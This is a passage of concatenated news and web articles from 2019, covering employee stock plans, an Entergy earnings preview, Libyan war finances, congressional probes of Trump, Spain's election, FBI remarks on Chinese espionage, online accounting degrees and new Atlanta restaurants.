stock is a result of overconfidence. In other words, you believe that your firm has a much better future than it actually does." Bittner says he wouldn't recommend for your company's stock to make up any more than 20% of a person's portfolio, and that can still be "quite aggressive," depending on a person's situation. Sell the Stock as Soon as Possible When participating in employee stock purchase plans, "it is important to have a disciplined selling strategy in order to make sure you are not becoming overexposed to the stock," says Timothy McGrath, managing partner at Riverpoint Wealth Management in Chicago. [7 Signs It's Time to Sell an Investment.] Although the tendency is to want to keep the stock, "take the discount and run," says Wilson. The longer you stay at the company, the more emotionally attached you may become to the stock and abandon your plan to sell the shares, McGrath says. This "exposure" can have devastating effects, such as at Enron and others. Know Your Firm If you're going to take advantage of discounted employee stock, make sure your company is legal and ethical, Bittner says. "There are plenty of examples of companies with high-flying stock prices that eventually crashed because they were unethical, or outright fraudulent," he says. Consider whether leaders who may own large amounts of company stock are making decisions that are in the best long-term interest of the company, or simply in the best interest of the share price, McGrath says. Know the Restrictions and the Opportunities An individual participating in an employer stock purchase plan may also be receiving stock options and restricted shares as well, McGrath says, so be sure to ask questions and research them before signing on. "While exposure to the company may start low, as these additional shares are received the exposure may rise to a level that brings excessive single security risk to a portfolio," he adds. For example, you may not be able to sell the company shares for a designated amount of time, Bittner says. Understand the Tax Consequences Employee stock purchase plans may not be not qualified, tax-deferred accounts by the IRS, so liquidating them potentially results in both short- and long-term gains, Bittner says. If your plan is qualified by the IRS and you meet the minimum requirements for holding your stock, your earnings after the discount receive favorable taxation. [See: 10 Ways to Maximize Your Retirement Investments.] "While tax consequences should be secondary to prudent investment decisions, they should still be understood and considered," he says. Kayleigh Kulp is a freelance journalist who also writes or has written for CNBC, The Daily Beast, Afar, the Washington Post, Travel Channel, Travel + Leisure, CNN, Fox Business Network, Wine Enthusiast, The Daily Meal, Los Angeles Times, Bust, AARP and AAA Journey magazines, ABC News, Miami Herald, San Antonio Express-News, Washington Examiner and The Baltimore Sun. Entergy Corporation ETR is set to release first-quarter 2019 results on May 1, before the opening bell. In the last reported quarter, the company delivered a positive earnings surprise of 25%. Moreover, Entergy surpassed the Zacks Consensus Estimate in three of the trailing four quarters, the average beat being 22.21%. Lets see how things are shaping up prior to this announcement. Why a Likely Positive Surprise? Our proven model shows that Entergy is likely to beat earnings estimates in the first quarter. Notably, a stock needs to have both a positive Earnings ESP and a Zacks Rank #1 (Strong Buy), 2 (Buy) or 3 (Hold) for this to happen. Earnings ESP: Entergy has an Earnings ESP of +3.99%. You can uncover the best stocks to buy or sell before theyre reported with our Earnings ESP Filter. Zacks Rank: The company carries a Zacks Rank #2, which along with a positive Earnings ESP increases the possibility of an earnings beat. Conversely, we caution against Sell-rated stocks (Zacks Rank #4 or 5) going into the earnings announcement, especially when the company is seeing negative estimate revisions. Entergy Corporation Price and EPS Surprise Entergy Corporation Price and EPS Surprise | Entergy Corporation Quote Factors at Play The companys service territories witnessed below-normal temperatures during most of the first quarter of 2019. A total of 470 storm reports were recorded across Texas, Oklahoma, Arkansas, Louisiana and Mississippi during the entire first quarter. This may have caused electric outages, thereby leading to a disruption in smooth supply of power. Therefore, such weather conditions may have negatively impacted Entergy's revenues in the to-be-reported quarter. In line with this, the Zacks Consensus Estimate of $2.67 billion for the companys first-quarter sales suggests a decline of 1.91% from the year-ago quarters reported figure. Story continues Lately, Entergy has been witnessing low returns on decommissioning trust investments and reduced net revenues from low nuclear volumes. Moreover, the company expects to incur high non-fuel Operations and Management (O&M) expenses in the near term, if operations continue at the Palisades plant till 2022. Such rising costs are expected to get reflected on the companys bottom line in the to-be-reported quarter. Considering this, the Zacks Consensus Estimate for Entergys first-quarter earnings of 95 cents calls for a decline of 18.1% from the figure reported in the year-ago quarter. Other Stocks to Consider Here are a few players from the Utilities sector that have the right combination of elements to post an earnings beat this quarter. Pinnacle West Capital Corp. PNW has an Earnings ESP of +1.41% and a Zacks Rank #2. The company is scheduled to report first-quarter results on May 1. You can see the complete list of todays Zacks #1 Rank (Strong Buy) stocks here. Consolidated Edison Inc. ED has an Earnings ESP of +0.07% and a Zacks Rank #3. The company is scheduled to report first-quarter results on May 2. A Recent Utility Sector Release American Electric Power Co., Inc. AEP reported first-quarter 2019 adjusted earnings per share (EPS) of $1.19, surpassing the Zacks Consensus Estimate of $1.10 by 8.2%. Zacks' Top 10 Stocks for 2019 In addition to the stocks discussed above, would you like to know about our 10 finest buy-and-holds for the year? Who wouldn't? Our annual Top 10s have beaten the market with amazing regularity. In 2018, while the market dropped -5.2%, the portfolio scored well into double-digits overall with individual stocks rising as high as +61.5%. And from 2012-2017, while the market boomed +126.3, Zacks' Top 10s reached an even more sensational +181.9%. See Latest Stocks Today >> Want the latest recommendations from Zacks Investment Research? Today, you can download 7 Best Stocks for the Next 30 Days. Click to get this free report Consolidated Edison Inc (ED) : Free Stock Analysis Report American Electric Power Company, Inc. (AEP) : Free Stock Analysis Report Pinnacle West Capital Corporation (PNW) : Free Stock Analysis Report Entergy Corporation (ETR) : Free Stock Analysis Report To read this article on Zacks.com click here. Zacks Investment Research Vilnius (AFP) - European Commission presidential candidate Manfred Weber is in favour of cutting funds to member states that fail to meet EU standards on the rule of law, he said in an interview published Friday. The European Parliament had in January adopted a draft law to that effect, seen as a new tool to fight threats to the independence of the courts and corruption in countries like Hungary, Poland and Romania. "I agree with the idea to link the penalties in such procedures to European funds," Weber told the Baltic News Service while on a visit to Lithuania. "I propose to upgrade the rule of law mechanism," said the leading centre-right candidate in next month's European Parliament elections. The German politician added that current rules "could not prevent recent developments in Poland, Hungary or Romania," eastern European states repeatedly criticised by Brussels for shortcomings. He dismissed the suggestion that such sanctions could ramp up euroscepticism, saying that "a lot of people in Poland, Romania and elsewhere... demand their governments to protect their basic freedoms and democratic institutions." Weber is the centre-right European People's Party candidate and frontrunner to replace Jean-Claude Juncker as president of the European Commission. In a wide-ranging interview, Weber hinted at an EU accession "perspective" for Ukraine but said he "will stop the enlargement talks" with Turkey if elected. "For Ukraine there is still a long way to go, membership is not feasible now, everybody knows this. But there must be a European perspective," he said. Weber also said that the EU must be ready to ramp up sanctions against Russia if needed, saying the bloc has "to assess the impact" of the Kremlin's recent decision to grant Russian passports to Ukrainians living in eastern areas controlled by pro-Moscow separatists. * Will be done without new borrowing - economy minister * Debt soars with tax receipts down, wages for fighters up * War over capital has not affected ports or imports -Issawi * Tripoli government plans to lower 183 pct hard currency fee By Ulf Laessing TRIPOLI, April 26 (Reuters) - Libya's U.N.-recognized government has budgeted up to 2 billion dinars ($1.43 billion) to cover costs of a three-week-old war for control of the capital, such as treatment for the wounded, to be funded without new borrowing, the economy minister said. Ali Abdulaziz Issawi suggested the government hoped for business to continue more or less as usual despite the assault on Tripoli, in the country's northwest, by forces tied to a parallel administration based in the eastern city of Benghazi. Once Africa's third largest producer of oil, Libya has been riven by factional conflict since the fall of Muammar Gaddafi in 2011, with the country now broadly split between eastern-based forces under Khalifa Haftar and the U.N.-backed government in Tripoli, in the west, under Prime Minister Fayez al-Serraj. Still, with Haftar's Libyan National Army forces unable so far to pierce defenses in Tripoli's southern suburbs, normal life and business activities continue in much of the capital and western coastal towns. Issawi, in an interview with Reuters in his Tripoli office, also said Libya's commercial ports and wheat imports were still functioning normally, although some roads have been blocked. He said the Serraj government estimates it will spend up to 2 billion dinars extra on medical treatment for wounded, aid for displaced people and other "emergency" war costs. He said this was not military spending but analysts believe that the sum will also cover expenditures such as pay for allied armed groups or food for fighters. "We could actually spend less," he added, in comments that gave the first insight into the economic impact of the fighting. Story continues Issawi said the Tripoli government, which controls little territory beyond the greater capital region, would not incur new debt to fund the war costs, sticking to a plan to post a 2019 budget without a deficit. Tripoli derives revenue largely from oil and natural gas production, interest-free loans from local banks to the central bank, and a 183 percent surcharge on foreign exchange transactions conducted at official rates. But with centralized tax collection greatly diminished, public debt has piled up - to 68 billion dinars in the west, including unpaid state obligations such as social insurance. Some analysts expect Serraj's government will be forced to raise new debt if the war for control of Tripoli drags on. With much of Libya dominated by armed factions that also act as security forces, the public wage bill for both the western and eastern administrations has soared as fighters have been made public employees in efforts to buy their loyalty. The east has sold bonds worth 35 billion dinars outside the official financial system as the Tripoli central bank does not fund the parallel government apart from some wages. Despite its limited reach, the Tripoli government still runs an annual budget of around 46.8 billion dinars, mainly for public salaries and fuel subsidies. "This year we cannot finance via debt...we will not borrow (by agreement with the central bank)," Issawi said. According to International Monetary Fund data, Libya's central government debt-to-GDP ratio is 143 percent, making it one of the most heavily indebted in the world on that measure. Issawi declined to say what parts of the budget would be trimmed to support the extra outlay for war costs. However, with some 70 percent of the budget allocated to public wages, fuel subsidies and other welfare benefits, a portion devoted to infrastructure is most likely to be axed. Widespread lawlessness has meant there have been no major infrastructural projects since 2011, when a NATO-backed uprising overthrew dictator Muammar Gaddafi, leaving schools, hospitals and roads in acute need of restoration. FOREX SURCHARGE Issawi said the government planned to raise as much as 30 billion dinars by the end of 2019 from hard currency deals after imposing in September a 183 percent surcharge on commercial and private transactions done on the official rate of 1.4 to the U.S. dollar. That fee has effectively devalued the official rate to 3.9, much closer to the black market equivalent. Some 17 billion dinars have been raised since then, with hard currency allocated for import credit letters now issued without delays, Issawi said. The forex fee has helped the government forecast a budget in the black for 2019. Despite the narrowing spread between the two rates, the black market continues to thrive. Dozens of traders remained at their favorite spot behind the central bank headquarters in Tripoli when Reuters reporters visited it last week. But traders said it could take time for the Serraj government to register the extra forex receipts as official banking channels were taking up to six months to approve import financing, keeping the black market in play for dealers. Issawi said authorities planned to lower the forex fee from 183 percent, without saying when. The black market rate has dropped from 6 to around 4.1 since September but it has hardly moved of late as demand for black market cash remains high. The Tripoli government has stopped subsidizing food and bread, which used to be cheaper than drinking water in Libya. Wheat imports are now being arranged by private traders and there are surplus stocks of flour at the moment, Issawi said. ($1 = 1.3943 Libyan dinars) (Reporting by Ulf Laessing in Tripoli with additional reporting by Karin Strohecker in London Editing by Mark Heinrich) After graduating with a bachelor's degree in accounting, Kansas resident Alex Larson knew he wanted to sit for the Certified Public Accountant exam. As is the case in many other states, Kansas requires test-takers to have completed at least 150 credit hours, and with just an undergraduate degree, Larson was 30 hours short. He decided to take his education to the next level, enrolling in an online master's degree program in accounting at Emporia State University. "By the time I hit the 150, I would be about nine hours short of a master's degree, and so I figured I might as well do it," says the 26-year-old public accountant, who received his master's in May 2018. He adds that he chose online education because he also worked full time right after college. The virtual format provided more flexibility to complete coursework around his schedule. Larson isn't alone, as accounting has joined a growing list of disciplines that students can study online. [Read: 10 Surprising Degrees You Can Earn Online.] According to the Bureau of Labor Statistics, demand for accountants and auditors -- both of which prepare and analyze financial records -- is expected to rise by 10 percent between 2016 and 2026. The median annual salary for accountants and auditors was $70,500 in 2018. For working adults searching for the right online program, there are a lot of options. While the programs offered at different schools vary in structure and curriculum, here's a general idea of what you can expect in an online accounting degree program at the master's level. Curriculum and Requirements. At Purdue University Global, where the online accounting master's program requires 52 credit hours, students take courses across topics including financial accounting and reporting, regulation, auditing, business communications and corporate tax decisions and strategies, culminating in a graduate capstone course. In some online programs, students may have an opportunity to choose a specific concentration area tailored to their career goals, which requires them to take classes in a specific area. At Purdue, concentrations include audit, finance, government and tax. Story continues At the University of Miami, the online master's program in accounting begins with "basic financial, managerial accounting," says Seth Levine, faculty director for the Master of Professional Accounting program at the school. "Then we go into intermediate accounting. Then we sprinkle in a tax class, and an audit class, and a financial statement analysis class and an advanced accounting class." "So by the time they're done," Levine says, "they are very well equipped to start a review course to jump in, because really most of the students are in these programs to get those initials -- to get the CPA after their name at the tail end." The University of Miami's program partners with the Becker CPA Exam Review course, Levine says, allowing students to enroll in classes -- either in person or online -- upon finishing the master's curriculum. Your Classmates. At Southern New Hampshire University, the online degree program is popular among a variety of students with varying motivations, says Mona Stephens, accounting faculty lead at the school. Some students have an undergraduate degree in another field and are looking for a career change, whereas others have more experience in accounting. "We also see people who have an undergraduate degree in accounting but for whatever reason want to get that's master's degree -- maybe they've been working for a while," Stephens says. "And we do get quite a few people who are coming in and looking to take the CPA exam. We really get a nice mix." Though most if not all of the coursework in an online master's program is completed remotely, group projects may be common. In an online financial statement analysis course at the University of Miami, for instance, students work in small groups to analyze publicly traded companies and make buying and selling recommendations for the rest of the class. In a taxation class, team members collaborate on a tax return, Levine says. [See: 10 Facts About Student Interaction in Online Degree Programs.] Even in an online graduate program, prospective students should expect to interact with their classmates to some extent for assignments and other types of projects or by interacting on class discussion boards, where students respond to an assigned prompt and then to each other. In the University of Miami's online program, these usually focus on ethical dilemmas and situations in accounting, Levine says. Types of Assignments. The types of assignments students should expect in an online master's degree program in accounting vary depending on the course. Larson, the Emporia State graduate, says research papers, discussion boards and traditional homework were particularly common for him. "Accounting has areas where we're doing financial accounting -- we're doing number-crunching, if you will," says Paul Franklin, academic department chair for accounting programs at the Purdue University Global School of Business and Information Technology. "In those particular courses, we're probably going to have some type of exam, and there's going to be assignments where they're actually working accounting problems." Meanwhile, the law class that students take generally involves more writing, he says. In an auditing class, "You may have a final exam where you've been given an audit problem, and you've been given test results of the audit test," says Franklin. "Now you need to weigh those findings and write some type of analysis and file a determination as to whether the audit was successful or not." [Read: How Do Online Classes Work?: 10 Frequently Asked Questions.] Course Structure. How exactly classes are structured will vary depending on the program a student chooses. While some online accounting degree programs have courses that include a synchronous, or live, component -- where students attend sessions with a professor through videoconferencing -- others are completely asynchronous, or self-paced with weekly deadlines for assignments. Which option is right for a prospective student boils down to whether the student desires some face-to-face interaction versus a completely virtual, self-paced environment, experts say. Prospective students should also note that their online program calendar may not adhere to a traditional semester academic calendar. In online graduate degree programs at SNHU, where accounting classes are totally asynchronous, "We have five terms per year," says Stephens. "So we have course dates for every term. You don't have to wait until September. You can jump in at any particular term." Some online accounting master's degree programs will also have an in-person orientation or other face-to-face component on campus or elsewhere, and students may choose to complete an internship. These will also vary. Regardless, don't expect that a program will be easier than an on-campus offering just because it's online. "You'll find that in our classes, because most of our instructors are working professionals, they all have a passion for accounting and they're all really, really happy to share that passion with their students," Stephens says. "It's really nice for us when people come in and they're excited about the topic, and we get to share our stories, and we get to hear their stories, too." Trying to fund your online education? Get tips and more in the U.S. News Paying for Online Education center. Pho King Express. | Photo: Ethan L./Yelp Itching to hit up the newest restaurant and retail additions to Atlanta? From a Vietnamese eatery to a blowout spot, read on for the newest hot spots to open their doors around town. Pho King Express Photo: Ethan L./Yelp A new addition to Downtown, Pho King Express is a Vietnamese spot that's located at 10 Park Place South. Pho King Express specializes in Pho soup, including a salad bar that allows customers to select the toppings they want to include in their soup. Protein options include chicken, beef and more. With 4.5 stars from three reviews on Yelp, the newcomer is receiving positive attention. Yelper Lena L. wrote, "This spot lets you serve yourself at the veggie bar. The Pho broth is excellent, and my favorite version is the fried rice with marinated beef chunks." Bao Bun Cafe Photo: grace m./Yelp Bao Bun Cafe is an Asian fusion, Taiwanese and Chinese spot that recently opened at 1715 Howell Mill Road, Suite C15-A, in Westside. You'll find a variety of rolls and teas at this spot. Look for Chef John's special pasta on the menu. The dish includes ground pork, pasta, cucumber and more in a sesame peanut sauce. With a 4.5-star rating out of 10 reviews on Yelp so far, the new arrival is on its way to developing a local fan base. Emma P., who was among the first Yelpers to review the new spot on April 19, wrote, "You can get a delicious Taiwanese bao with a large side of Taiwanese braised pork rice along with a free large bubble tea. I highly recommend this place." Drybar A Midtown newcomer, Drybar is a blowout spot that's located at 60 11th St. NE, Suite #3B. With a 4.5-star rating out of two Yelp reviews, it's beginning to garner positive attention in the neighborhood. This chain spot has more than 100 locations in North America. It focuses on one service: blowouts. It offers an extensive selection of styles, including the Old Fashioned, Cosmo, Mai Tai and more. Yelper Kandi C. shared, "I was in town for a convention and needed some fast hair help. They got me in quick and did such a fabulous job!" This story was created automatically using local business data, then reviewed and augmented by an editor. Click here for more about what we're doing. Got thoughts? Go here to share your feedback. (Reuters) - U.S. social media giant Facebook Inc on Thursday said it has filed a lawsuit in U.S. Federal court, against a company and three people in New Zealand, alleging the sale of fake engagement services on its Instagram photo-sharing platform. Facebook, in a blogpost, said the company and individuals - whom it did not name - used various other companies and websites to sell the services. It said it issued warnings and suspended associated accounts but that they persisted in their activities. (Reporting by Maria Ponnezhath in BENGALURU; Editing by Christopher Cushing) (Updates with Barr hearing) By Richard Cowan WASHINGTON, May 1 (Reuters) - More than half a dozen committees of the U.S. Congress are investigating President Donald Trump, who is refusing to cooperate with most of them since the April 18 release of the Mueller report on Russian interference in the 2016 U.S. presidential election, setting up a likely court battle. The clash between Trump and the Democrats who lead the House of Representatives committees intensified after Trump framed Special Counsel Robert Mueller's findings as an exoneration, though Mueller neither charged nor exonerated the president. The report, in the view of Democrats, provided plentiful leads for their further inquiries into ties between Moscow and the 2016 Trump campaign, as well as Trump's subsequent efforts to stifle the long-running Mueller probe. Committees are also looking into Trump's still undisclosed taxes, potential conflicts of interest involving the sprawling business interests he has not divested since taking office, and other aspects of his turbulent presidency. Congressional subpoenas are being issued and contempt-of-Congress citations are being considered for administration officials who are being advised by Trump to ignore the probes. Civil enforcement actions in the courts may follow. With the 2020 election campaigns underway and casting both sides' efforts in an increasingly partisan light, here are the key congressional committees involved. HOUSE JUDICIARY COMMITTEE The committee's Democratic chairman, Jerrold Nadler, is an old foe of Trump, going back years to a fight between the two New Yorkers over a large Trump real estate project in Manhattan. Nadler's panel has subpoenaed the Justice Department seeking the full, unredacted Mueller report and underlying evidence, as well as former White House counsel Don McGahn to testify in May. Nadler and Justice Department officials are at odds over whether Attorney General Barr will appear before his committee to discuss Mueller's report. Story continues Judiciary Committee investigators are also focused on contacts Trump's campaign had with Russia during the 2016 presidential race. Any effort to impeach Trump would likely begin in the committee. In a book he published in 2000, Trump called Nadler "one of the most egregious hacks in contemporary politics." SENATE JUDICIARY COMMITTEE The Senate Judiciary Committee was the first panel to question Barr after the release of the Mueller report. Barr on Wednesday defended his decision to clear Trump of criminal obstruction of justice by attempting to impede Mueller's Russia inquiry and criticized Mueller for not reaching a conclusion of his own on the issue. Barr was asked about findings that Trump directed then-White House Counsel McGahn to ask the department's No. 2 official, Rod Rosenstein, to fire Mueller over the special counsel's alleged conflicts of interest. McGahn told Mueller's investigators that he refused to carry out the president's request. Barr said Trump believed "he never outright directed the firing of Mueller." HOUSE OVERSIGHT AND REFORM COMMITTEE Democratic Chairman Elijah Cummings' panel in February held 2019's first public hearing on Trump's many issues, taking testimony from former Trump attorney Michael Cohen, who is scheduled to report to prison next month. On April 2, the committee voted to subpoena Carl Kline, a former White House official, over a probe into security clearances granted by the administration. The White House said it told Kline to ignore the committee's subpoena. Cummings said the panel will soon vote on whether to hold Kline in contempt of Congress over the matter. Trump has filed an unprecedented lawsuit attempting to squash a committee subpoena seeking his past financial records from Mazars USA, an accounting firm long used by Trump. The administration has rebuffed a committee request for an interview with John Gore, an official who was involved in a decision to include a citizenship question in the 2020 census. Also, the White House has refused a request from the panel for Trump's top immigration aide Stephen Miller to testify. HOUSE WAYS AND MEANS COMMITTEE The House tax committee, led by Democrat Richard Neal, has asked the Treasury Department's Internal Revenue Service to hand over six years of Trump's personal and business tax returns. Unlike presidents in recent decades, Trump has refused to disclose his returns, which committee Democrats want to obtain and review. Committee Republicans argue the committee's request oversteps its authority. Treasury Secretary Steven Mnuchin did not meet an April 23 committee deadline for handing over the returns and said that a "final decision" on the request would be made by May 6. HOUSE INTELLIGENCE COMMITTEE The committee's chief, whom Trump has mocked as "sleazy" and "little pencil neck Adam Schiff," is examining Russian influence in U.S. politics and whether any foreign countries hold leverage over Trump, his family, his business or his associates. Like other panels, Schiff's has expressed an interest in having Mueller testify about his findings. SENATE INTELLIGENCE COMMITTEE Republican Chairman Mark Warner's committee is also looking into Russia's role in influencing U.S. elections. The committee could release its findings later this year. In late March, Trump adviser Jared Kushner, the president's son-in-law, made a second appearance before the panel, according to congressional sources. Topics discussed in the closed-door sessions were not made public. HOUSE FINANCIAL SERVICES COMMITTEE Democratic Chairwoman Maxine Waters, whom Trump has also frequently mocked, is leading a probe into Trump's ties with Deutsche Bank AG, one of the world's largest financial institutions, as well as potential Russian money laundering through the bank. The committee oversees the financial services industry including banks. Waters has said the House should impeach Trump. (Reporting by Ginger Gibson; editing by Jonathan Oatis) (Reuters) - President Donald Trump is flatly refusing to cooperate in numerous U.S. congressional probes of himself and his administration, taking a defiant stance that could trigger protracted court fights with House of Representatives Democrats. In an unprecedented step, the Trump administration has filed a lawsuit to try to block one congressional subpoena; some Trump advisers have been told to ignore other subpoenas; and a request for Trump's tax returns has not been fulfilled. In most instances, Trump risks trouble with Congress over subpoenas, "contempt of Congress" citations and civil enforcement actions in court. Trump's stonewalling has hardened since the release last week of a redacted report from Special Counsel Robert Mueller on the investigation of Russian interference in the 2016 U.S. presidential election. Trump viewed the report as an exoneration because the special counsel did not charge him with conspiring with Russia or with obstruction of justice. However, the report detailed the Trump campaign's welcoming of help from the Russians and his later efforts to thwart Mueller's inquiry. Like other senior Democrats who are treating the Mueller report as a road map for further investigations by Congress, House Oversight Committee Chairman Elijah Cummings accused the Trump administration on Wednesday of a "massive, unprecedented, and growing pattern of obstruction." The following are ways Trump has defied Congress in recent days: MCGAHN Don McGahn, former White House counsel, was a key witness in the Mueller probe and House Democrats want to hear from him. But the White House plans to assert executive privilege to prevent McGahn and other current and former administration officials from testifying to Congress, the Washington Post has reported. UNREDACTED MUELLER REPORT Parts of the Mueller report were redacted, leaving some questions unanswered. Democrats have issued a subpoena in an attempt to obtain the full report without redactions and evidence Mueller relied on. Attorney General William Barr must decide by May 1 whether to comply. Barr has said he has a legal obligation to keep secret information obtained from grand jury proceedings, and that other redactions were necessary to protect U.S. intelligence sources and avoid harm to ongoing law enforcement matters. TAX RETURNS Unlike past presidents in recent decades, Trump has refused to make public his tax returns, raising questions about what is in them. Democrats are probing Trump's past business dealings and possible conflicts of interest posed by his continued ownership of extensive business interests. Treasury Secretary Steven Mnuchin failed to meet a congressional deadline on Tuesday for turning over Trump's tax returns to the House tax committee, setting the stage for a possible court battle between Congress and the administration. Mnuchin said he planned to make "a final decision" on whether to provide Trump's tax records by May 6. Legal experts said House Democrats could vote to hold Mnuchin or IRS Commissioner Charles Rettig in contempt of Congress if they ignore a subpoena, as a step toward suing in federal court to obtain the returns. MAZARS Trump on Monday filed a lawsuit attempting to keep U.S. lawmakers from obtaining his financial records. The unprecedented suit seeks to block a subpoena issued by Cummings, whose panel is looking into Trump's financial record. The subpoena sought eight years of documents from Mazars USA, an accounting firm long used by Trump to prepare financial statements. Cummings issued the subpoena after Michael Cohen, formerly Trump's personal lawyer, testified to Congress in February that Trump had misrepresented his net worth. SECURITY CLEARANCES Cummings said on Tuesday that his panel will soon vote on whether to cite a former White House official with contempt for failing to appear for questioning on allegations that the Trump administration inappropriately granted security clearances to some of the president's advisers. The White House told the Oversight Committee that it had directed Carl Kline, who was White House personnel security chief for the first two years of Trump's presidency, to ignore the committee's subpoena to appear. CENSUS AND CITIZENSHIP On Wednesday, the Department of Justice (DOJ) rebuffed the Oversight Committee's request for an interview with John Gore, an official who was involved in the administrations decision to include a citizenship question in the 2020 census. The Justice Department said Gore, a lawyer in its Civil Rights Division, would not participate in a deposition set for Thursday if he could not have a department lawyer at his side. The committee had offered to let a lawyer sit in a different room. A DOJ official said the committee had provided "no legitimate or constitutional basis for excluding a DOJ lawyer from assisting at the deposition." IMPEACHMENT Trump on Wednesday vowed to fight any effort by congressional Democrats to launch impeachment proceedings against him, promising to go to the Supreme Court, even though it plays no role in the constitutional impeachment process. FBI ABOUT-FACE Congressional Democrats said in March that a U.S. government agency was responding too slowly to their requests for documents about the Trump administration's abandonment of a plan to move the FBI. Before he became president in January 2017, Trump supported moving the Federal Bureau of Investigation headquarters to the suburbs of Washington, Democrats looking into the matter said. They said that after Trump was elected and disqualified from bidding to acquire the site for commercial development, he switched his position. Democrats have subsequently raised questions about a possible Trump conflict of interest. Trump's about-face would "block potential competitors from developing the existing property on Pennsylvania Avenue across the street from the Trump Hotel," the Democrats said. IMMIGRATION AIDE The White House refused a request for Trump's top immigration aide Stephen Miller to testify to Congress in a letter on Wednesday to the House Oversight Committee. Miller, a former Senate aide, has helped shape some of Trump's most controversial immigration policies, from the first Muslim travel ban shortly after he took office in 2017 to the child separation policy for migrants who illegally crossed the U.S.- Mexico border, both of which were rejected by courts. (Compiled by Caroline Stauffer; editing by Kevin Drawbaugh and Leslie Adler) New York (AFP) - A German-Russian woman who passed herself off as an heiress was found guilty of multiple felonies Thursday in New York, for stealing over $200,000 and attempting to make off with millions more. "As proven at trial, Anna Sorokin committed real white-collar felonies over the course of her lengthy masquerade," District Attorney Cyrus Vance said in a statement announcing the conviction. Sorokin, 28, invented a new identity upon her 2016 arrival in the United States, presenting herself as an heiress when she was in fact the daughter of a Russian truck driver who moved to Germany at the age of 16. Through clever lies and incredible self-confidence, Sorokin -- who now faces up to 15 years in prison -- received tens of thousands of dollars in loans from several banks. From November 2016 to August 2017, she managed to travel for free on private planes and lived for months at luxury Manhattan hotels without paying the bill, according to New York prosecutors, who accused her of stealing a total of $275,000. As she became more enmeshed with the New York City elite, Sorokin focused on an ambitious project to open an upscale nightclub that doubled as an art gallery. She tried to borrow $22 million in order to launch it after convincing a powerful promoter to provide a venue on the prestigious Park Avenue. Sorokin's attorney Todd Spodek likened her to Frank Sinatra, saying: "In a city that favors money and the appearance of money... they both created their own opportunities." "She was creating a business that she believed would work and she was buying time," her attorney argued. * Sunday election set to produce a hung parliament * Polling ended on Monday with far-right Vox around 11 pct * Soundings since suggest it has taken votes from mainstream PP * Parties hold final rallies on Friday evening By John Stonestreet and Belen Carreno MADRID, April 26 (Reuters) - Spain's Vox party, aligned to a broader far-right movement emerging across Europe, has become the focus of speculation about last minute shifts in voting intentions since official polling for Sunday's national election ended four days ago. No single party is anywhere near securing a majority, and chances of a deadlocked parliament and a second election are high. Leaders of the five parties vying for a role in government get final chances to pitch for power at rallies on Friday evening, before a campaign characterized by appeals to voters' hearts rather than wallets ends at midnight. By tradition, the final day before a Spanish election is politics-free. Two main prizes are still up for grabs in the home straight. One concerns which of the two rival left and right multi-party blocs gets more votes. The other is whether Vox could challenge the mainstream conservative PP for leadership of the latter bloc, which media outlets with access to unofficial soundings taken since Monday suggest could be starting to happen. The right's loose three-party alliance is led by the PP, the traditional conservative party that has alternated in office with outgoing Prime Minister Pedro Sanchez's Socialists since Spain's return to democracy in the 1970s. The PP stands at around 20 percent, with center-right Ciudadanos near 14 percent and Vox around 11 percent, according to a final poll of polls in daily El Pais published on Monday. Since then, however, interest in Vox - which will become the first far-right party to sit in parliament since 1982 - has snowballed. It was founded in 2013, part of a broader anti-establishment, far-right movement that has also spread across - among others - Italy, France and Germany. Story continues While it is careful to distance itself from the ideology of late dictator Francisco Franco, Vox's signature policies include repealing laws banning Franco-era symbols and on gender-based violence, and shifting power away from Spain's regional governments. TRENDING According to a Google trends graphic, Vox has generated more than three times more search inquiries than any other Spanish political party in the past week. Reasons could include a groundswell of vocal activist support at Vox rallies in Madrid and Valencia, and its exclusion from two televised debates between the main party leaders, on the grounds of it having no deputies yet in parliament. Conservative daily La Vanguardia called its enforced absence from Monday's and Tuesday's debates "a gift from heaven," while left-wing Eldiario.es suggested the PP was hemorrhaging votes to Vox in rural areas. Ignacio Jurado, politics lecturer at the University of York, agreed the main source of additional Vox votes would be disaffected PP supporters, and called the debate ban - whose impact he said was unclear - wrong. "This is a party polling over 10 percent and there are people interested in what it says. So we lose more than we win in not having them (in the debates)," he said For Jose Fernandez-Albertos, political scientist at Spanish National Research Council CSIC, Vox is enjoying the novelty effect that propelled then new, left-wing arrival Podemos to 20 percent of the vote in 2015. "While it's unclear how to interpret the (Google) data, what we do know is that it's better to be popular and to be a newcomer, and that Vox will benefit in some form," he said. For now, the chances of Vox taking a major role in government remain slim, however. The El Pais survey put the Socialists on around 30 percent, making them the frontrunners and likely to form a leftist bloc with Podemos, back down at around 14 percent. The unofficial soundings suggest little change in the two parties' combined vote, or the total vote of the rightist bloc. That makes it unlikely that either bloc will win a majority on Sunday, triggering horse-trading with smaller parties favoring Catalan independence - the single most polarizing issues during campaigning - that could easily collapse into fresh elections. Election graphic: https://tmsnrt.rs/2ENugtw (Reporting by John Stonestreet and Belen Carreno, Editing by William Maclean) Washington (AFP) - China poses the most serious intelligence threat to the United States and is seeking to "steal its way up the economic ladder" at US expense, FBI Director Christopher Wray said Friday. Wray, speaking at the Council on Foreign Relations (CFR) in Washington, said China poses a "multi-layered" threat to US interests. "Economic espionage dominates our counter-intelligence program today," the head of the Federal Bureau of Investigation said. "More than ever, adversaries target our nation's assets, our information and ideas, our innovation, our research and development, our technology. "And no country poses a broader, more severe intelligence collection threat than China," Wray said. "China has pioneered a societal approach to stealing innovation in any way it can from a wide array of businesses, universities and organizations," he said. "They're doing it through Chinese intelligence services, through state-owned enterprises, through ostensibly private companies, through graduate students and researchers, through a variety of actors all working on behalf of China." Wray's comments come as US and Chinese trade officials are due to resume talks in Beijing on April 30 and then return to Washington for another round on May 8. US President Donald Trump has repeatedly criticized China for what he said was the rampant theft of US know-how and made that a central feature of the ongoing trade talks. Wray said that economic espionage investigations in nearly all of the 56 FBI field officers "almost invariably lead back to China." "And they span just about every industry or sector," he said. "It's illegal. It's a threat to our economic security and, by extension, it's a threat to our national security," Wray said. "This is behavior that violates the rule of law. It violates principles of fairness and integrity. Story continues "Put plainly, China seems determined to steal its way up the economic ladder at our expense," he said. The FBI director said the United States "is by no means their only target." "They're strategic in their approach," he said. "They actually have a formal plan set out in five-year increments to achieve dominance in critical areas. "And to get there they're using an expanded set of non-traditional methods, both lawful and unlawful," he said. "The Chinese government is taking the long view," he said. "They're calculating, they're focused, they're patient and persistent." Wray said that for the past couple of decades the United States has "underestimated this threat" posed by China. "People are waking up and realizing that this is a threat that needs to be taken seriously," he said. Here at Clever, were all about finding the good stuffunexpected decorating 